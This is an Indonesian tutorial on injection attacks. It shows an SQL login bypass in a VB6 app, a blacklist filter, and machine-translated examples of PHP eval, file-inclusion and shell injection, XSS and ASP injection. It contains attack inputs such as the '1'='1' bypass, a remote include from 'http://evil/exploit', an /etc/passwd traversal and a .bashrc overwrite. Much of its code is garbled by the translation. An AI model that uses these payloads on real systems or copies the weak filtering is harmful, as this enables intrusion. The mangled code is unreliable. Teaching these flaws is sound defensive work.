• Tidak ada hasil yang ditemukan

TUTORIAL ANTI INJECTION 1. SCRIPT CODE LOGIN ANTI SQL INJECTION. Materi asli dari Masinosinaga baca dibawah ini:

N/A
N/A
Protected

Academic year: 2021

Membagikan "TUTORIAL ANTI INJECTION 1. SCRIPT CODE LOGIN ANTI SQL INJECTION. Materi asli dari Masinosinaga baca dibawah ini:"

Copied!
13
0
0

Teks penuh

(1)

TUTORIAL ANTI INJECTION

1. SCRIPT CODE LOGIN ANTI SQL INJECTION Materi asli dari Masinosinaga baca dibawah ini:

Mungkin di antara Anda sudah banyak yang mengenal teknik serangan terhadap aplikasi yang dinamakan "SQL Injection". SQL Injection atau dalam bahasa Indonesia, artinya: Suntikan SQL (Structure Query Language), telah banyak memakan korban. Karena dengan mengetahui teknik serangan ini, Anda sudah bisa mengelabui aplikasi database. Untuk itu, bagi Anda yang baru mengenal teknik serangan ini, ada baiknya untuk menyimak ulasan berikut.

Untuk mengetahui secara mudah tentang dampak dari serangan ini, kita mengambil contoh pada proses "LOGIN". Proses "LOGIN" adalah proses yang paling vital dalam setiap aplikasi yang ada. Karena dengan adanya proses ini, masing-masing user dapat ditentukan haknya dalam mengakses suatu aplikasi. Contohnya pada aplikasi-aplikasi perkantoran, proses "LOGIN" sangat berguna untuk menentukan jabatan dan pekerjaan apa yang harus dilakukan seorang karyawan dalam aplikasi yang dibuat.

Dari pada kita membayang-bayangkan, lebih baik kita praktek langsung agar lebih mudah dicerna. Di sini kita bersama-sama membuat contoh aplikasi Visual Basic dengan Database Access. Untuk itu buatlah desain form seperti yang tampak pada gambar dibawah ini.

(2)

Biarkan Property Name pada masing-masing control apa adanya. Selanjutnya kita desain sebuah database sederhana. Buatlah database Microsoft Access dengan nama tabel "login" yang berisi kolom (field) "user" dan "password", lalu namakan databasenya "pegawai.mdb". Isikan dengan beberapa record.

Setelah semuanya selesai, pindah ke apliasi Visual Basic 6, tulislah code berikut pada Form1.

Code::

Private Sub Command1_Click()

Data1.RecordSource = "SELECT * FROM LOGIN WHERE USER='" & Text1.Text & _

"' AND PASSWORD='" & Text2.Text & "'"

Data1.Refresh

If Data1.Recordset.RecordCount > 0 Then

MsgBox "Login Berhasil!"

Else

MsgBox "Login Salah!"

End If

(3)

Data1.RecordSource = "SELECT * FROM LOGIN"

Data1.Refresh

End Sub

Sekarang, cobalah program tersebut. Lakukan pengujian dengan memasukkan user dan password yang salah. Jika Anda menemukan pesan "Login Salah!" maka proses berjalan dengan normal. Namun biar lebih memastikan bahwa program berjalan baik, coba juga dengan memasukkan user dan password yang benar. Jika Anda tidak salah memasukkan user dan password, maka pesan yang keluar adalah "Login Berhasil!". Artinya sampai saat ini pengujian program berjalan dengan baik. Terus apa lagi yang dipikirkan? Inilah suatu kecerobohan yang terkadang sering muncul dalam aplikasi yang dibuat para programmer. Para programmer sering lupa akan sisi keamanan aplikasi yang dibuat.

Untuk melihat dampak dari serangan ini. Jalankan kembali aplikasi yang kita buat, dan anggaplah Anda sebagai orang lain yang tidak mengetahui password untuk mengakses aplikasi tersebut. Namun dengan sedikit SQL Injection anda dapat memasuki ruang login hanya dengan memasukkan teks berikut "hack' or '1'='1" (tanpa tanda kutip) pada textbox input user dan/atau password. Maka Anda tidak akan melihat pesan "Login Salah!" melainkan "Login Berhasil!".

Terus, bagaimana ini bisa terjadi? padahal kita tidak memasukkan password sesungguhnya?

Ketika kita memasukkan user "meyer" dan password "tomero", maka query sql pada code diatas akan menjadi :

(4)

Quote:

SELECT * FROM LOGIN WHERE USER='meyer' AND PASSWORD='tomero'"

Karena SQL menggunakan kriteria berdasarkan user dan password tersebut, maka jika user dan password tidak cocok dengan yang ada dalam tabel secara otomatis aplikasi memunculkan pesan "Login Salah!". Tapi, jika kita memasukkan teknik SQL Injection pada query melalui input pada aplikasi misalkan user dan password "hack' or '1'='1", apa yang terjadi pada query sebenarnya?

Quote:

"SELECT * FROM LOGIN WHERE USER='hack' or '1'='1' " & _ AND PASSWORD='hack' or '1'='1'"

Kita dapat melihat, bahwa query SQL sudah berubah menjadi query yang tidak menampilkan filter terhadap user dan password. Itu dikarenakan pernyataan "OR 1=1" menyebabkan hasil execute query yang menghasilkan nilai True. Mengapa True? Dalam logika matematika, False Or True atau True Or True

menghasilkan nilai True. Untuk hal ini saya tidak akan membicarakan panjang lebar. Anda bisa membacanya dalam pelajaran logika Matematika atau

Pemrograman. Hasil pengembalian nilai True ini pada query tadi mengakibatkan seluruh record akan ditampilkan, karena semua kriteria berlaku pada semua record. Trik yang menyenangkan, bukan?

Dari percobaan yang sudah kita buat, kita dapat menggambarkan bagaimana cara untuk menghindari serangan ini. Selanjutnya kita akan membuat contoh sederhana prosedur untuk memfilter input yang dimasukkan oleh orang agar tidak bisa dicurangi dengan SQL Injection.

(5)

Code::

Private Function FilterSQL(strInput As String) As String

strInput = Replace(strInput, "'", "''", 1, -1, 1) strInput = Replace(strInput, "_xp", "", 1, -1, 1) strInput = Replace(strInput, "--", "", 1, -1, 1) strInput = Replace(strInput, ";", "", 1, -1, 1) FilterSQL = strInput End Function

Prosedur diatas akan mengubah semua karakter-karakter yang berdampak pada teknik SQL Injection ini. Untuk itu tambahkan prosedur tersebut dalam code sebelumnya dan gantilah query SQL untuk proses filter user dan password seperti code berikut.

Code::

Data1.RecordSource = "SELECT * FROM SISWA WHERE NAMA='" & FilterSQL(Text1.Text) & _

"' AND ASAL='" & FilterSQL(Text2.Text) & "'"

(6)

Contoh kode injeksi  SQL injection

SQL injection memanfaatkan sintaks SQL untuk menyuntikkan perintah yang dapat membaca atau mengubah database, atau kompromi arti dari query.

Sebagai contoh, perhatikan suatu halaman web memiliki dua bidang untuk memungkinkan pengguna untuk memasukkan nama pengguna dan password. Kode di belakang halaman akan menghasilkan SQL query untuk memeriksa kata sandi terhadap daftar nama pengguna:

SELECT UserList. Nama Pengguna DARI UserList

MANA UserList. Username = 'Nama pengguna' DAN UserList. Password = 'Password'

Jika pertanyaan ini mengembalikan lagi baris, maka akses diberikan. Namun, jika pengguna jahat memasuki Nama Pengguna valid dan menyuntikkan beberapa kode yang valid ( "password' OR '1'='1" ) pada kolom Password, maka query yang dihasilkan akan terlihat seperti ini:

SELECT UserList. Nama Pengguna DARI UserList

MANA UserList. Username = 'Nama pengguna' DAN UserList Password = 'password' OR '1 '= '1'.

Dalam contoh di atas, "Password" dianggap kosong atau beberapa string tidak berbahaya. " '1'='1' "akan selalu benar dan banyak baris akan dikembalikan, sehingga memungkinkan akses.

Teknik ini dapat disempurnakan untuk memungkinkan beberapa pernyataan untuk menjalankan, atau bahkan untuk memuat dan menjalankan program eksternal.

(7)

Steven M. Christey dari Mitre Korporasi menunjukkan nama ini untuk kelas kerentanan injeksi kode. kerentanan evaluasi Dinamis - injeksi eval

Sebuah kerentanan injeksi eval terjadi ketika seorang penyerang dapat mengontrol semua atau bagian dari input string yang dimasukkan ke dalam sebuah eval () memanggil fungsi. [5]

$ Myvar = 'somevalue'; $ X = $ _GET ['arg']; eval ('$ myvar =' $ x. ';'.);

Argumen dari " eval "akan diproses sebagai PHP, jadi perintah tambahan dapat ditambahkan. Sebagai contoh, jika "arg" diatur ke " 10; system('/bin/echo uh-oh') ", kode tambahan dijalankan yang mengeksekusi program pada server, dalam hal ini" /bin/echo ".

Dinamis kerentanan evaluasi - evaluasi variabel dinamis

Sebagaimana didefinisikan dalam "Evaluasi Kerentanan Dinamis dalam aplikasi PHP" : PHP mendukung "variabel variabel," yang adalah variabel atau ekspresi yang mengevaluasi ke nama-nama variabel lain. Mereka dapat digunakan untuk secara dinamis mengubah variabel yang diakses atau set selama eksekusi program. Fitur kuat dan nyaman juga berbahaya.

Sejumlah aplikasi memiliki kode seperti berikut: $ Safevar = "0";

$ Param1 = ""; $ Param2 = ""; $ Param3 = "";

# "GLOBALS register" saya sendiri untuk param [1,2,3] foreach ($ _GET sebagai nilai kunci $> $ =) {

(8)

$ $ Key = $ value; }

Jika penyerang menyediakan " safevar=bad "dalam string, maka $safevar akan diatur ke nilai "buruk". Dinamis kerentanan evaluasi - evaluasi fungsi dinamis

Berikut PHP-contoh akan mengeksekusi fungsi ditentukan oleh permintaan. $ Myfunc = $ _GET ['myfunc'];

$ Myfunc (); dan:

$ Myfunc = $ _GET ['myfunc']; $ {"Myfunc"} ();

Sertakan injeksi berkas

Pertimbangkan ini program PHP (yang berisi file ditentukan oleh permintaan): <? Php

$ Warna = 'biru';

if (isset ($ _GET ['WARNA'])) $ Warna = $ _GET ['WARNA']; membutuhkan ($ warna 'php.'.); ?>

<form metode = "get"> nama <select = "COLOR">

(9)

nilai <option = "red"> merah </ option> nilai <option = "blue"> biru </ option> </ Select>

<input type = "submit"> </ Form>

Pengembang pikir ini akan memastikan bahwa blue.php saja dan red.php dapat dimuat. Tetapi karena siapapun bisa dengan mudah memasukkan nilai-nilai sewenang-wenang dalam COLOR , adalah mungkin untuk

menyuntikkan kode dari file:

/vulnerable.php?COLOR= http://evil/exploit? - menyuntikkan file remote host yang mengandung eksploitasi. /vulnerable.php?COLOR= C:\\ftp\\upload\\exploit - Melaksanakan kode dari file yang sudah diupload disebut exploit.php

/vulnerable.php?COLOR= ../../../../../../../../etc/passwd%00 - memungkinkan penyerang untuk membaca isi file passwd pada UNIX sistem traversal direktori .

/vulnerable.php?COLOR= C:\\notes.txt%00 - contoh menggunakan NULL karakter meta untuk menghapus .php akhiran, yang memungkinkan akses ke file selain php.. (PHP pengaturan "magic_quotes_gpc = On", yang

merupakan default, akan menghentikan serangan ini) Shell injeksi

Shell injeksi ini dinamai kerang Unix , tetapi berlaku untuk kebanyakan sistem yang memungkinkan perangkat lunak untuk pemrograman mengeksekusi baris perintah . Khas shell injeksi-fungsi terkait termasuk system() , StartProcess() , java.lang.Runtime.exec() , dan System.Diagnostics.Process.Start() .

Pertimbangkan program PHP berikut pendek, yang menjalankan program eksternal disebut funnytext untuk menggantikan kata user dikirim dengan beberapa kata lainnya.

(10)

passthru ("/ home / user / phpguru / funnytext" $ _GET ['USER_INPUT'].); ?>

Program ini dapat disuntikkan dalam berbagai cara: `Perintah` akan mengeksekusi perintah.

$ (Perintah) akan mengeksekusi perintah.

; Perintah akan mengeksekusi perintah, dan hasil output dari perintah. | Perintah akan mengeksekusi perintah, dan hasil output dari perintah. && Perintah akan mengeksekusi perintah, dan hasil output dari perintah. | | Perintah akan mengeksekusi perintah, dan hasil output dari perintah. > / Home / user / phpguru / .bashrc akan menimpa file. Bashrc.

</ Home / user / phpguru / .bashrc akan mengirim file bashrc sebagai masukan untuk funnytext..

PHP menawarkan escapeshellarg() dan escapeshellcmd() untuk melakukan pengkodean sebelum memohon shell. Namun, tidak dianjurkan untuk mempercayai metode ini agar aman, satu suami harus juga memvalidasi atau sanitasi input.

HTML-script injeksi (cross-site scripting)

HTML / injeksi Script adalah subjek populer, biasanya disebut "Cross-Site Scripting", atau "XSS". XSS mengacu pada cacat injeksi dimana user input untuk script web atau sesuatu di sepanjang garis tersebut ditempatkan ke dalam HTML output, tanpa diperiksa untuk HTML atau kode scripting.

Dua tipe dasar adalah sebagai berikut:  Aktif (Tipe 1)

Jenis cacat XSS kurang berbahaya, karena input pengguna ditempatkan ke sebuah halaman yang dihasilkan secara dinamis. Ada perubahan yang dibuat pada server.

(11)

 Pasif (Tipe 2)

Tipe ini lebih berbahaya, sebagai masukan ditulis ke halaman statis, dan dengan demikian, adalah persisten. HTML injeksi di IE7 melalui DLL yang terinfeksi

Menurut sebuah artikel [6] di situs teknologi Inggris The Register , injeksi HTML juga dapat terjadi jika pengguna memiliki DLL yang terinfeksi pada sistem mereka. Artikel tersebut mengutip Roger Thompson yang mengklaim bahwa "browser korban, pada kenyataannya, mengunjungi situs web PayPal atau URL dimaksudkan lain, tapi itu file dll yang menempel ke IE adalah mengelola untuk membaca dan memodifikasi sementara html dalam

perjalanan. Para pasal yang menyebutkan serangan phishing menggunakan serangan yang berhasil melewati upaya IE7 dan Symantec untuk mendeteksi situs mencurigakan.

ASP injeksi

"Injeksi ASP", "PHP Injection" dll adalah istilah coined yang mengacu pada berbagai jenis serangan injeksi kode yang memungkinkan seorang penyerang untuk memasok kode ke mesin server side scripting. Dalam kasus "ASP Injeksi", sisi server mesin scripting adalah Microsoft Active Server Pages , sebuah add-on untuk Microsoft IIS. Dalam prakteknya, Injeksi ASP adalah baik eksploitasi kerentanan Evaluasi Dinamis, Sertakan Injeksi File atau kerentanan kode yang sama injeksi.

Contoh: <%

Jika Tidak isEmpty (Request ("username")) Lalu

Const ForReading = 1, ForWriting = 2, ForAppending = 8 Dim fso, f

Set fso = CreateObject ("Scripting.FileSystemObject")

Set f = fso OpenTextFile (Server MapPath ("userlog.txt")., ForAppending, True). f. Write Request ("username") & vbCrLf

(12)

f. menutup Set f = tidak ada Set fso = Tidak ada %>

<h1> Daftar pengguna login: </ h1> <pre>

<%

Server Execute ("userlog.txt"). %> </ Pre> <% Lain %> <form>

<input name="username" /> <input type="submit" name="submit" /> </ Form>

<% End If %>

(13)

Referensi

Dokumen terkait

Hasil pemrosesan arduino ditampilkan pada aplikasi yang terbagi menjadi dua, yaitu layar pertama untuk nilai tekanan angin ban dan layar kedua untuk lokasi sepeda motor.. Pada layar

Biringkanaya Kota Makassar, atau setidak-tidaknya pada tempat lain yang masih termaksud dalam daerah Hukum Pengadilan Negeri Makassar yang berwenang memeriksa dan

• Pengukuran fisiologi dapat dipergunakan untuk membandingkan cost energy pada suatu pekerjaan yang memenuhi waktu standar, dengan pekerjaan serupa yang tidak standard,

Virgin Cake and Bakery Semarang dalam proses produksi menghasilkan produk roti sudah memperoleh sertifikasi PIRT, nomor PIRT untuk produk yang dihasilkan oleh Virgin

Data yang digunakan dalam penelitian ini terdiri dari (1) data lapangan pemadaman kebakaran yang diperoleh dari Balai Konservasi Sumber Daya Alam, Provinsi

Karakter tinggi, berat kering total dan kandungan prolina berdasarkan nilai heritabilitas dalam arti luas dan korelasi antar karakter dapat dijadikan indikator

Strategi Internal Relations PT Pertamina Persero Pusat dalam Meningkatkan Loyalitas Kerja Karyawan.. Telekomunikasi Selular) (Studi Kasus Pada Restaurant Three

tentang keselamatan pasien, keterbatasan akses pelayanan kesehatan pada sebagian masyarakat tertentu, perkembangan ilmu dan teknologi, huge burden disease, hingga